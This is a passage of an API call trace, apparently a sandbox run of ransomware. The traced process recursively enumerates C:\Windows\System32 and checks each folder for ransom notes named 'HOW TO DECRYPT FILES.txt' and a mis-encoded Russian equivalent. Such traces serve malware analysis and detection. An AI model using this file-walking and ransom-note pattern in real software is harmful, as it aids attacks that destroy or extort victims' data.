returned="C:\\Windows\\System32\\dplayx.dll" [0144.785] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe3d9f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xbabe3d9f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x899e54c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpmodemx.dll", cAlternateFileName="")) returned 1 [0144.785] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.786] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpmodemx.dll") returned 1 [0144.786] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpmodemx.dll") returned 1 [0144.786] lstrcmpiA (lpString1="", lpString2="dpmodemx.dll") returned -1 [0144.786] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dplayx.dll") returned="dplayx.dll" [0144.786] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.786] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.786] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.786] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.786] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpmodemx.dll" | out: lpString1="C:\\Windows\\System32\\dpmodemx.dll") returned="C:\\Windows\\System32\\dpmodemx.dll" [0144.787] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ba3c2c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x85ba3c2c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85bc9d8c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpnaddr.dll", cAlternateFileName="")) returned 1 [0144.787] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.787] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpnaddr.dll") returned 1 [0144.787] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpnaddr.dll") returned 1 [0144.787] lstrcmpiA (lpString1="", lpString2="dpnaddr.dll") returned -1 [0144.787] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpmodemx.dll") returned="dpmodemx.dll" [0144.787] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.787] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.787] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.787] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.787] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpnaddr.dll" | out: lpString1="C:\\Windows\\System32\\dpnaddr.dll") returned="C:\\Windows\\System32\\dpnaddr.dll" [0144.787] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd943fce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xbd943fce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x89a30fb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpnathlp.dll", cAlternateFileName="")) returned 1 [0144.788] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.788] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpnathlp.dll") returned 1 [0144.788] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpnathlp.dll") returned 1 [0144.788] lstrcmpiA (lpString1="", lpString2="dpnathlp.dll") returned -1 [0144.788] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpnaddr.dll") returned="dpnaddr.dll" [0144.788] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.788] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.788] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.788] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.788] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpnathlp.dll" | out: lpString1="C:\\Windows\\System32\\dpnathlp.dll") returned="C:\\Windows\\System32\\dpnathlp.dll" [0144.788] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca46cfa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xcca46cfa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x89a30fb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpnet.dll", cAlternateFileName="")) returned 1 [0144.789] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpnet.dll") returned 1 [0144.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpnet.dll") returned 1 [0144.789] lstrcmpiA (lpString1="", lpString2="dpnet.dll") returned -1 [0144.789] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpnathlp.dll") returned="dpnathlp.dll" [0144.789] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.789] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.789] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.789] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.789] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpnet.dll" | out: lpString1="C:\\Windows\\System32\\dpnet.dll") returned="C:\\Windows\\System32\\dpnet.dll" [0144.789] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee64280, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xbee64280, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x89a30fb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpnhpast.dll", cAlternateFileName="")) returned 1 [0144.789] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpnhpast.dll") returned 1 [0144.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpnhpast.dll") returned 1 [0144.789] lstrcmpiA (lpString1="", lpString2="dpnhpast.dll") returned -1 [0144.789] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpnet.dll") returned="dpnet.dll" [0144.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.790] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.790] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.790] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.790] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpnhpast.dll" | out: lpString1="C:\\Windows\\System32\\dpnhpast.dll") returned="C:\\Windows\\System32\\dpnhpast.dll" [0144.790] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc06f04bb, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc06f04bb, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x89a30fb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpnhupnp.dll", cAlternateFileName="")) returned 1 [0144.790] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpnhupnp.dll") returned 1 [0144.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpnhupnp.dll") returned 1 [0144.790] lstrcmpiA (lpString1="", lpString2="dpnhupnp.dll") returned -1 [0144.790] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpnhpast.dll") returned="dpnhpast.dll" [0144.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.790] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.790] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.790] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.790] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpnhupnp.dll" | out: lpString1="C:\\Windows\\System32\\dpnhupnp.dll") returned="C:\\Windows\\System32\\dpnhupnp.dll" [0144.791] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc97ee78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xbc97ee78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x17d12440, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpnlobby.dll", cAlternateFileName="")) returned 1 [0144.791] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.791] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpnlobby.dll") returned 1 [0144.791] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpnlobby.dll") returned 1 [0144.791] lstrcmpiA (lpString1="", lpString2="dpnlobby.dll") returned -1 [0144.791] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpnhupnp.dll") returned="dpnhupnp.dll" [0144.791] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.791] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.791] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.791] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.791] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpnlobby.dll" | out: lpString1="C:\\Windows\\System32\\dpnlobby.dll") returned="C:\\Windows\\System32\\dpnlobby.dll" [0144.792] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d52679, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc2d52679, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x694514c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0144.792] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.792] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpnsvr.exe") returned 1 [0144.792] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpnsvr.exe") returned 1 [0144.792] lstrcmpiA (lpString1="", lpString2="dpnsvr.exe") returned -1 [0144.792] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpnlobby.dll") returned="dpnlobby.dll" [0144.792] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.792] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.792] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.792] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.792] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpnsvr.exe" | out: lpString1="C:\\Windows\\System32\\dpnsvr.exe") returned="C:\\Windows\\System32\\dpnsvr.exe" [0144.792] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb96e9c4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xb96e9c4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x89a7caa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpwsockx.dll", cAlternateFileName="")) returned 1 [0144.793] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.793] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpwsockx.dll") returned 1 [0144.793] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpwsockx.dll") returned 1 [0144.793] lstrcmpiA (lpString1="", lpString2="dpwsockx.dll") returned -1 [0144.793] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpnsvr.exe") returned="dpnsvr.exe" [0144.793] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.793] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.793] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.793] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.793] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpwsockx.dll" | out: lpString1="C:\\Windows\\System32\\dpwsockx.dll") returned="C:\\Windows\\System32\\dpwsockx.dll" [0144.793] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b2dbca, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92b2dbca, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92b53d2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dpx.dll", cAlternateFileName="")) returned 1 [0144.793] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.793] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dpx.dll") returned 1 [0144.793] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dpx.dll") returned 1 [0144.794] lstrcmpiA (lpString1="", lpString2="dpx.dll") returned -1 [0144.794] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpwsockx.dll") returned="dpwsockx.dll" [0144.794] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.794] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.794] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.794] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.794] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dpx.dll" | out: lpString1="C:\\Windows\\System32\\dpx.dll") returned="C:\\Windows\\System32\\dpx.dll" [0144.794] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9508f74, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc9508f74, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x69534590, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10200, dwReserved0=0x0, dwReserved1=0x0, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0144.794] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.794] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="driverquery.exe") returned 1 [0144.794] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="driverquery.exe") returned 1 [0144.794] lstrcmpiA (lpString1="", lpString2="driverquery.exe") returned -1 [0144.794] PathFindFileNameA (pszPath="C:\\Windows\\System32\\dpx.dll") returned="dpx.dll" [0144.794] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.795] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.795] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.795] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.795] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="driverquery.exe" | out: lpString1="C:\\Windows\\System32\\driverquery.exe") returned="C:\\Windows\\System32\\driverquery.exe" [0144.795] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="drivers", cAlternateFileName="")) returned 1 [0144.795] lstrcmpA (lpString1=".", lpString2="drivers") returned -1 [0144.795] lstrcmpA (lpString1="..", lpString2="drivers") returned -1 [0144.795] PathFindFileNameA (pszPath="C:\\Windows\\System32\\driverquery.exe") returned="driverquery.exe" [0144.795] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="drivers" | out: lpString1="C:\\Windows\\System32\\drivers") returned="C:\\Windows\\System32\\drivers" [0144.795] lstrlenA (lpString="C:\\Windows\\System32\\drivers") returned 27 [0144.795] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\drivers\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0144.797] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.797] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9ce759, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0144.797] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.797] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.797] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0144.797] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0144.797] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0144.797] PathFindFileNameA (pszPath="C:\\Windows\\System32\\drivers\\*.*") returned="*.*" [0144.797] lstrcatA (in: lpString1="C:\\Windows\\System32\\drivers\\", lpString2="en-US" | out: lpString1="C:\\Windows\\System32\\drivers\\en-US") returned="C:\\Windows\\System32\\drivers\\en-US" [0144.797] lstrlenA (lpString="C:\\Windows\\System32\\drivers\\en-US") returned 33 [0144.797] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\drivers\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0144.797] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.797] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", 